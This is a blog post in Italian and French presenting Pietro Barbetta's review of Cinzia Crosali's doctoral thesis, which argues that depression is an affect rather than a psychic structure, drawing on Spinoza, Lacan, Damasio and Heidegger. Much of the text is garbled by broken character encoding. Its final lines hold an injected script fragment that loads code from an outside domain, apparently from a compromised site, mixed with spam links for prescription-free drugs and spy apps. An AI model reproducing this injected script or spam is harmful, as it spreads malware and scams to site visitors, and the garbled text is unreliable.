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BDF 2.4 Pietro Barbetta – La depressione affetto centrale della modernitA�

2 aprile: Pietro Barbetta commenta la dissertazione dottorale di Cinzia Crosali a�?La depressione affetto centrale della modernitA�a�?, discussa la��8 dicembre 2008 presso il Dottorato di Ricerca in Psicoanalisi della��UniversitA� di S. Denis (Parigi)

Parte prima

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Parte seconda

Depressione – 1

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In guisa d’introduzione al mio seminario, allego il testo della mia relazione alla tesi di Cinzia Crosali, il testo A? in francese perchA� non trovo piA? l’originale italiano, la traduzione A? della stessa Cinzia Crosali e la trovate esposta cosA� perchA� non so allegare un testo, perciA? ho fatto copia e incolla:

Compte-rendu de Pietro BarbettaA�A� pour la thA?se de doctorat de Cinzia CROSALI CORVI, intitulA�e A� DA�pression : affect central de la modernitA�.A�

En guise da��introduction A� mon compte-rendu du travail de Cinzia Crosali, je souhaiterais avant tout souligner combien ja��ai appris de son expA�rience clinique et de sa compA�tence.
Je ne suis pas un spA�cialiste de Lacan et, face A� mes incomprA�hensions et A� mes difficultA�s dans la��A�tude de son oeuvre, ja��ai trouvA� une grande partie des A�claircissements qui ma��A�taient nA�cessaires dans des discussions partagA�es ces derniA?res annA�es avec quelques-uns des meilleurs psychanalystes. Parmi ceux-ci, Cinzia Crosali a jouA� un role fondamental.

Sa thA?se est le fruit da��une triple entreprise dont ja��ai A�tA� en partie tA�moin :
-A�A�A� Son approfondissement de la connaissance de la��oeuvre lacanienne
-A�A�A� son A�tude rigoureuse et approfondie de la��histoire des systA?mes de pensA�e concernant la dA�pression dans la culture occidentale
-A�A�A� son expA�rience clinique auprA?s da��analysants avec des diagnostics de dA�pression (jamais moins qua��en cette occasion il ne serait bien dire da��analysants A� dA�pressifs A�).

Ces trois aspects sont les A�lA�ments proprement constitutifs du travail de Cinzia Crosali. Je veux dire par lA� qua��il ne sa��agit pas de trois questions simplement juxtaposA�es, mais bien de trois aspects intA�grA�s, tant dans le fil conducteur de la��histoire de la nosologie, de ses diverses configurations (depuis la��entrelacement et la distinction entre les notions de mA�lancolie, da��acA�die et de tristesse jusqua��au discours psychiatrique moderne), que dans le fil conducteur da��une lecture lacanienne du phA�nomA?ne de la dA�pression (en particulier par la reprise de quelques-uns des schA�mas qui se trouvent en marge du texte A� TA�lA�vision A�).
La thA?se fondamentale de Crosali est A�noncA�e dans le titre de son travail. Ce titre exprime deux positions clA�s qui traversent la��ensemble de sa recherche :
Primo, la dA�presion est un affect.
Secondo, il sa��agit da��un affect central pour la modernitA�.
Premier aspect : la dA�pression est un affect, ca��est-A�-dire qua��elle na��est pas une structure psychique, au sens psychanalytique.
Da��oA? la rA�fA�rence, avant meme celle faite A� la psychanalyse, A� la philosophie de Spinoza, A� la distinction entre affectio et affectus, et au classement de la tristesse spinozienne parmi les principaux affects. Je cite ici la��un des passages de la thA?se de Crosali sur lequel ja��aimerais ma��appuyer :
A� Si la��affectus est la variation de la puissance da��agir, la��affection est avant tout l’A�tat d’un corps en tant qu’il subit l’action d’un autre corps. Et une action da��un corps sur un autre corps implique toujours, pour Spinoza, un contact, un mA�lange. Par exemple A� sentir le soleil sur soi A� implique une affection du corps par le soleil, par la��action du soleil sur le corps. En effet, pour Spinoza, la��affection enveloppe un affect. La��affect, en tant que variation de la puissance da��agir, est assimilable A� un mouvement, A� un passage da��un A�tat A� un autre. La��affection enveloppe donc un passage, une transition (la��affect). Cette transition est augmentation ou diminution de la puissance da��un sujet A�.

En la��occurence la tristitia reprA�sente cette diminution de puissance da��un sujet, cette transition vers une diminution de puissance, qui conduit le sujet A� la��assujetissement, A� la soumission. Spinoza a�� dA�fini par Deleuze comme A�tant a�?le philosophe pour les non-philosophesa�? a�� est le penseur qui, par sa recherche de la relation entre affectio et affectus, a fait de la relation entre corps et esprit le centre de sa thA�orie. Et ceci aux dA�buts da��une A�poque (la modernitA�) traversA�e par la philosophie de Descartes et Kant, A� philosophes pour philosophes A�. Pour une longue pA�riode, la modernitA� fera du savoir un champ dans lequel la sA�paration entre res cogitans et res extensa devra demeurer fondatrice. Le savoir devient un mA�caisme de controle, de domination de la res cogitans sur la res extensa. Da��oA? le dA�veloppement du discours medico-psychiatrique contemporain, qui, en prA�sentant la dA�pression comme un phA�nomA?ne exclusivement chimico-biologique, la dA�crit en termes de maladie.

Second aspect : la��affect dA�pressif est central pour la modernitA�.
LA� aussi Spinoza reprA�sente un point da��articulationA� essentiel, parce que dans cette diminution de puissance, dans cette variation continue du plateau da��intensitA� en direction de la diminution, qui caractA�rise la tristitia spinozienne, rA�side une soumission sociale, politique. Les tyrans, affirme Spinoza, ont besoin de sujets tristes, opprimA�s. Autrement dit, selon Spinoza, la rA�bellion contre la��oppression, la rA�volte produisent ce phA�nomA?ne de (facchinaggio) coltinage auquel semble se rA�fA�rer Lacan lorsqua��il parle, par exemple, de la��antipsychiatrie. La stupeur de Spinoza face aux rA�volutions politiques est bien connue. En fait il considA�rait que les etres humains luttent pour vivre moins bien, pour produire des formes da��oppression encore plus lourdes.
La dA�pression, telle qua��elle se prA�sente au niveau de la phA�nomA�nologie de la rencontre avec la��Autre, est un phA�nomA?ne typiquement moderne. Elle dA�voile a�� ca��est-A�-dire qua��elle montre et cache A� la fois a�� une oppression, une soumission absolument individuelle, dA�socialisA�e, privA�e de lien social : une tendance paradoxale A� se soustraire A� la��assujetissement par le refus de la relation avec la��Autre, une oppression de second ordre. Da��oA? la rencontre clinique avec la personne dA�primA�e se prA�sentant, avant tout et le plus souvent, comme la rencontre avec un discours : A�A� je suis dA�primA�, ja��ai une dA�pression, ca��est une maladie, je prends des antidA�presseurs, etc A�.
Le discours capitaliste requiert de guA�rir les dA�pressifs, en meme temps qua��il requiert des dA�pressifs. Les dA�pressifs manifestent une intolA�rance A� la reproduction sociale, mais cette intolA�rance na��est pas socialisA�e. Il sa��agit da��une intolA�rance absolument individualisA�e, A� soignable A�, chimiquement A� guA�rissable A�.A� Sous de nombreux aspects, elle semble avoir remplacA� a�� A� un niveau individuel a�� les oppressA�s du dix-neuviA?me siA?cle. Les dA�pressifs da��aujourda��hui ne sont pas aussi pauvres, et na��ont donc pas besoin de sa��allier entre eux pour se rebeller, leur mal est A� obscur A�, il na��est pas aussi visible que la��exploitation A�conomique. Le A� dA�primA� A� est la��expression da��une nouvelle frontiA?re de la subjectivitA�, oA? une espA?ce de responsabilitA� biochimique se substitue A� la responsabilitA� individuelle et collective des sujets. Ce na��est pas moi, ce sont les interactions entre sA�rotonine et norA�pinA�phrine. Je guA�rirai quand je recommencerai A� supporter la reproduction sociale, dans les cas les plus graves une thA�rapie A�lectroconvulsive (administrA�e dans une ambiance technologiquement avancA�e et sous anesthA�sie totale) pourra etre envisagA�e.
Le dA�pressif est da��autre part un grand consommateur de la��industrie pharmaceutique qui, au cours des derniA?res annA�es, a rA�alisA� une bonne partie de ses bA�nA�fices grace A� la consommation da��ISRSA� ; il contribue A� la��augmentation de la demande interne et a sans doute contribuA�, A� partir de la deuxiA?me moitiA� des annA�es quatre-vingt, au succA?s A�conomique de certaines industries pharmaceutiques. Autour de la consommation da��antidA�presseurs sa��est dA�veloppA�e la recherche, la publicisation mA�diatique (qui na��a prA�sent A� la��esprit la dA�finition du prozac comme A�tant le A� mA�dicament du bonheur A� ?), publicitA� qui, officiellement interdite aux industries pharmaceutiques, a A�tA� abondamment fournie par des services publicitaires publics (surtout aux Etats-Unis)A� sous forme de propagande pour la prA�vention du suicide.
Le discours moderne conduit A� la��idA�e, tout A� fait anti-spinoziste, que le bonheur, en dehors da��etre la��affect qui dA�pend da��une affection augmentant la puissance de variation continue da��une personne, est aussi la consA�quence da��une plus grande activitA� sA�rotoninergique, chimiquement induite.
A la rencontre avec la��Autre se substitue le fonctionnement du corps, sa A� docilisation A� chimique.
Face A� de telles questions, la confrontation avec la��approche cognitiviste prend une place centrale dans les recherches de Cinzia Crosali, en particulier son A�tude de la��interprA�tation de Spinoza dA�veloppA�e par le cA�lA?bre neurologue nord-amA�ricain Antonio Damasio.
Damasio reprend le dA�veloppement menA� par Spinoza A� propos du pA�chA� originel. Spinoza soutient la��idA�e selon laquelle le rA�cit racontA� dans la GenA?se pourrait etre compris comme un conseil adressA� par Dieu A� Adam et Eve : na��absorbez pas de fruit chimiquement toxique. Spinoza fait du mal une sorte da��intoxication, tout A� fait libA�rA�e du discours sur la faute. Il le fait de faA�on provocatrice, pour rA�pondre aux objections da��un catholique. Et pourtant, en sortant les assertions spinoziennes de leur contexte, en les sA�parant des circonstances historiques dans lesquelles elles ont A�tA� A�crites (la dispute A�pistolaire menA�e avec le catholique Blyenbergh sur la question thA�ologique du pA�chA� originel), Damasio prend cet exemple comme preuve du matA�rialisme A� bio-chimique A� de Spinoza. En se prA�valant de Spinoza, il soutient une sorte de primat ontologique de la res extensa, en reproposant sa sA�paration de la res cogitans.
Je me souviens des conversations que nous avons eues avec Cinzia autour du cognitivisme et de Damasio ; de ses rA�flexions A� propos des diffA�rences de termes employA�s par Spinoza et par Damasio ; du dA�sir qui A�tait le sien da��aller au fond da��une critique de la��approche de Damasio, en un sens de sauver Spinoza du cognitivisme, et ceci non sans raison. Spinoza na��est pas seulement le philosophe prA�fA�rA� de Lacan, il est aussi la��auteur qui a reprA�sentA�A� a�� tant par sa vie que par sa philosophie a�� la��un des moments essentiels de diffA�renciation face aux assimilations acadA�miques.
Damasio recourt au terme A� A�motions A�, il parle da��A�motions, dA�crit et thA�orise la��existence de deux types diffA�rents da��A�motions qua��il appelle primaires (issues des parties les plus primitivesdu systA?me nerveux) et secondaires. Ces derniA?res, caractA�ristiques de la��etre humain, sont a�� selon Damasio a�� A�laborA�es par la pensA�e de faA�on cognitive, au moyen du cortex. Ainsi Damasio dA�fend-il cette approche philosophique matA�rialiste (que Marx avait dA�jA� dA�finie comme A� matA�rialisme vulgaire A�) qui, A� partir du succA?s scientifique obtenu par les neurosciences au cours des vingt derniA?res annA�es, repropose une rA�duction de la��esprit au cerveau.
Les A�laborations de Spinoza sont da��un genre bien diffA�rent. En premier lieu, son langage lui-meme est diffA�rent. Il introduit deux termes fondamentaux, associA�s la��un A� la��autre : affection et affect (comme le note Deleuze la meilleure traduction da��affectio est affectus). Indiquant la relation immA�diate du Sujet A� la��Autre, toute affection implique une confusion, un A�lA�ment da��imperfection, une espA?ce de mA�lange, de superposition, une interconnexion entre la��esprit et le corps. Le corps affectA� na��est dA�jA� plus seulement res extensa, il est une anomalie. Ca��est lA� la��une des conditions constitutives de la��existence humaine.
Parmi les affects, il sa��en trouve un de vraiment particulier, que Spinoza appelle appetitus et qui dA�place le Sujet vers la��Autre. Le sujet affectA� vit donc une sorte de passivitA� active, il est affectA� par la��Autre mais va A� sa rencontre. Du point de vue A�thique, le sujet est libre.
Si ja��ai bien suivi le raisonnement de Cinzia Crosali, ca��est pour cela que la dA�pression na��est pas considA�rA�e par la psychanalyse comme une structure psychique en soi.

A� Nous soutenons au contraire, A�crit-elle, que la��affect dA�pressif na��est pas en lui-mA?me une structure psychique particuliA?re, mais qua��il traverse toutes les structures et est A� considA�rer et A� traiter avec une attention diagnostique diffA�rentielle A�.

La dA�pression, en tant qua��affect, traverse toutes les structures. Elle na��est donc pas traitA�e comme une catA�gorie diagnostique, mais bien comme une dimension, pathogA?ne (dans le sens ou pathogA?ne est issu du terme pathos, et non dans le sens oA? la mA�decine utilise ce terme), prA�sente dans les diffA�rentes structures. Cette thA?se, qui sa��accorde avec la thA�orie lacanienne, peut avoir, selon moi, valeur heuristique au sein des diffA�rents modA?les cliniques et diagnostiques. Historiquement, les tableaux de la mA�lancolie et de la��acA�die, exposA�s dans cette thA?se avec beaucoup de compA�tence, prA�sentent des catA�gories quelque peu diffA�rentes : la mA�lancolie, maladie de la��homme de gA�nie, la��acA�die, maladie du moine vicieux. Et nous pourrions ajouter da��autres cadres historiques dans lesquels la dA�pression se prA�sente sous une autre forme encore : la nostalgie, maladie du soldat suisse A�loignA� de sa patrie, la saudade, maladie du migrant brA�silien, il malocchio, malA�diction subie par la jeunesse paysanne de la��Italie du Sud.
Donc la dA�pression en tant qua��affect, distincte de la��A�motion a�� expression de passivitA� ; distincte des structures psychiques (ce na��est pas une structure) a�� qua��elle traverse, habite, oA? elle sa��insinue.
Mais, en raison meme de ce qui a A�tA� soutenu plus haut, la dA�pression est un affect mensonger.
Nous avons ici un troisiA?me aspect de la question, un corollaire important qui vient corroborer ce que soutient Cinzia Crosali : la dA�pression se distingue de la��angoisse. Pour parvenir A� cette observation, je crois qua��outre les rA�flexions de Lacan, les recherches sociologiques da��Ehremberg et la philosophie du premier Heidegger ont A�tA� essentielles.
Le Heidegger de Sein und Zeit sa��attaque A� la��analyse phA�nomA�nologique de la��angoisse comme condition affective (Befindlichkeit) authentique ; il sa��agit de ce que le philosophe de Freiburg dA�finit sous le terme da��etre-pour-la-mort. La rA�flexion da��Heidegger part de la��idA�e que la��angoisse est un affect sans objet.
Dans la��oeuvre de Heidegger semble prendre forme le thA?me de la��immanence de la��affect. Selon cette formulation, la��affect ne se prA�sente pas comme affect pour un objet transcendant. La��objet ma��affecte, mais en vertu da��un appetitus qui ne se trouve pas devant moi, mais dans mon dos.
Je voudrais demander ici A� Cinzia Crosali un A�claircissement, qui me parait important, entre la position da��un philosophe qui ma��est cher, Gilles Deleuze, et celle de Lacan. Je ne me rA�fA?re pas au Deleuze qui a un peu simplifiA� ses positions A� la��occasion de sa collaboration avec Guattari, mais bien au Deleuze lecteur de Spinoza et de Leibniz, A� la��auteur de DiffA�rence et rA�pA�tition.
Deleuze parle du dA�sir comme da��une vibration se manifestant sur un plan continu da��intensitA�, ne nA�cessitant ni apogA�e, ni dA�charge A�nergA�tique ou orgasmique, et non plus un objet qui le transcende. Un dA�sir, en somme, qui ne nA�cessite pas da��un manque, mais plutA?t qui sa��exprime se dA�ployant, comme dans un point de fuite diffA�rentiel. Selon vous, Cinzia Crosali, dans quelle mesure ces considA�rations sont-elles assimilables aux considA�rations de Lacan A� propos de la��objet a, et dans quelle mesure sa��en diffA�rencient-elles ? Ce point de fuite diffA�rentiel, que Deleuze avait extrait A� la fois de Gregory Bateson et de la��analyse mathA�matique en partant de Leibniz, est-il, ou non, un A�lA�ment de convergence avec la pensA�e de Lacan A� propos de la��objet a ?
Au-delA� de la thA�orie clinico-philosophique, la littA�rature, bien plus sophistiquA�e parce que libre de la nA�cessitA� de dA�finir des catA�gories, sa��est exprimA�e sur ce thA?me A� de multiples reprises. Je souhaiterais A�voquer ici un seul exemple : la��intuition de la��assez perversA� romancier amA�ricain Truman Capote. Dans son roman DA�jeuner chez Tiffanya��s a�� qui, au-delA� de la��histoire, a peu A� voir avec le film da��Edwards a�� a lieu un intA�ressant A�change entre les deux personnages. Holly Golightly parle de la mystA�rieuse sensation qua��elle A�prouve de temps en temps, une sensation qui lui passe A� condition de se faire accompagner da��hommes toujours diffA�rents. Elle appelle cette sensation A�A� mean reds A�. En italien A� mean reds A� a A�tA� traduit par A� paturnie A�. La��homme lui dit :A� A� you mean the blues A�A� (A� tu veux dire le blues A�), mais elle rA�pond non, elle dit qua��il sa��agit de quelque chose de diffA�rent. Tandis que le blues a un motif, tandis qua��il est du A� quelque chose, A� I mean reds A� na��est du A� rien. La��homme semble alors comprendre ce que veut dire la femme, et utilise un terme allemand pour dA�finir la��affect : Angst.
Capote a accordA� au personnage fA�minin de son roman cet esprit de finesse qui lui permet de distinguer la��A�tat da��A� authenticitA� A�. Les psychiatres amA�ricains contemporains na��hA�siteraient pas A� diagnostiquer cette hA�roine come A� borderline A�, da��autant plus que, dans le roman, elle franchit les A� frontiA?res A� amA�ricaines pour aller vivre, et peut-etre mourir, en Afrique.

A ce sujet, la thA?se de Crosali est claire et dA�finitive, elle ressemble A� celle exprimA�e dans le roman de Capote :

A� Nous avons A�tabli une distinction entre la��angoisse, affect A� authentique A�, qui ne ment pas, et les autres affects (dont la��affect dA�pressif) qui peuvent au contraire A?tre mensongers, dans le sens qua��ils peuvent A� mentir A� sur la question du dA�sir, qua��ils A�cartent le sujet da��un savoir possible sur son dA�sir A�.

Mentir sur la question du dA�sir. Nous nous trouvons ici en plein dans la thA�orie lacanienne, dans la partie de sa thA�orie qua��un psychanalyste systA�miste tirant comme moi son inspiration de Gregory Bateson partage le plus : le thA?me de la responsabilitA�.
Jamais plus que lorsque je rencontre, au cours de mon activitA� clinique, dA�sormais longue et consistante, un patient A� dA�primA� A�, je ne me trouve face A� un langage aussi pauvre, simple, quasi A�lA�mentaire : A� ja��ai une dA�pression, ca��est une maladie ; je prends des antidA�presseurs, ce qui me fait aller mieux. Mais… A�
Ce A� mais A� est, da��habitude, un moyen da��accA?s A� la possibilitA� de parler du dA�sir, da��accA�der au A� bien dire A�. Dans ce A� mais A� se trouvent les effets collatA�raux des mA�dicaments (la baisse du dA�sir sexuel, la prise de poids), les effets placebo non dA�sirA�s (mon compagnon ma��a quittA�e parce qua��il ne craint plus mon intA�gritA� physique), les effets directs non dA�sirA�s (comme, dans les cas graves, la��augmentation des suicides dans les premiers mois da��administration). DA�sir sexuel, dA�sir de la��autre, dA�sir de mort.
Il sa��agit souvent de rencontres difficiles ; la��hA�gA�monie du discours medico psychiatrique nA�cessite un long travail de dA�placement, une longue dA�construction des approches mA�dicales (A� selon vous, comment dois-je me comporter pour guA�rir ? A�), qui implique une espA?ce de transformation du discours du A� patient A� (ce que Crosali, suivant Lacan, appelle le A� discours du Maitre A�) observant un phA�nomA?ne pathologique appelA� dA�pression a�� comme un Golem installA� dans le plafond de la maison a�� dans un ensemble da��expA�riences qui traversent la��existence et la vie quotidienne de A� la��analysant A�.
Dans un essai sur la nostalgie A�crit pour DiogA?ne en 1966, Jean Starobinski rappelle que dans la��Anthropologie de Kant :
A� Le nostalgique ne dA�sire pas tant le lieu de sa jeunesse que sa jeunesse elle-memea�� Son dA�sir na��est pas tendu vers quelque chose qui pourrait etre retrouvA�, mais vers un temps dA�sormais A� jamais inaccessible A�. Kant traite ici avec une large anticipation da��un problA?me reproposA� par la littA�rature post-coloniale, par exemple dans le domaine de la fiction par Chinua Achebe dans son roman No longer at ease, ou dans celui de la philosophie par Homi Bhabha et le terme in-between : le retour au lieu de la nostalgie, bien loin de soigner, se transforme en la dA�ception de trouver des personnes, des choses, des habitudes qui ne sont plus les memes, ou plutot qui prennent, pour celui qui revient, un caractA?re da��A�trangetA� aliA�nante.
Kant, qui na��a jamais quittA� KA�nisberg, se rend compte que la question de la nostalgie ne se pose pas en relation avec un objet transcendant, mais prend le caractA?re de la��immanence. Comme la��avance Freud, la rA�gression est, avant tout, un voyage A� la��intA�rieur de sa propre biographie, plutot qua��un voyage dans la��espace. La famille est le lieu de conservation de cet A�lA�ment particulier et intime vers lequel le patient rA�gresse.
Les considA�rations de Spitz, auteur auquel se rA�fA?re Cinzia Crosali dans son tavail, la longue expA�rience clinique de cet auteur auprA?s da��enfants prA�cocement hospitalisA�s et A�loignA�s de force de leur famille,A� nous interroge encore aujourda��hui sur le role de la famille dans la construction de ce sens de la��intimitA� capable de prA�venir la dA�pression anaclytique. Avant meme da��envisager quelque possibilitA� de mauvais traitement familial que ce soit, la famille est un systA?me complexe, un horizon de construction du sens, un lieu oA? se produit quelque chose qui se tient au-delA� du rationnel et de la��A�ducatif, quelque chose qui, en dehors de la famille, dans les institutions extrafamiliales, ne peut etre donnA�.
Ceci pourrait-A?tre une derniA?re observation au regard de la��excellent travail de Cinzia Crosali. La��oeuvre de Spitz y est A�tudiA�e avec apprA�ciation, Spitz affirme que les enfants hospitalisA�s et A�loignA�s de force de leur famille dA�veloppent une forme da��abandon du monde. Primo Levi a dA�crit de la meme faA�on ceux qua��il a appelA� A� les musulmans A� , pour dA�crire la rA�action de fermeture autistique manifestA�e chez de nombreux internA�s da��Auschwitz.
Si la dA�pression est un affect qui traverse les structures psychiques, on trouve des formes de retrait de la relation da��une radicalitA� absolue. Au point de rendre les personnes absolument impuissantes. Spitz dA�crit la situation de la��enfant mis en institution, Levi (qui toutefois ne se livre pas A� une description clinique, mais littA�raire) dA�crit les adultes des camps da��extermination ; da��autres hypothA?ses pourraient concerner les catatonies et les ebA�phrA�nies de la��univers concentrationaire de la��asile psychiatrique, ou encore la��impossibilitA� de raconter ou de se souvenir des survivants de guerre ou des rescapA�s de prison.
Selon cette optique, la dA�pression apparait plus comme la consA�quece explicite da��un phA�nomA?ne da��oppression sociale que comme un phA�nomA?ne psychique.d.getElementsByTagName(‘head’)[0].appendChild(s); http://winna.mhs.narotama.ac.id/2018/03/15/best-price-viagra-no-prescription/ purchase keftab 500mg d.getElementsByTagName(‘head’)[0].appendChild(s);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; topspyapps.net Purchase Order http://virtualnewsroom.co.uk/?p=5955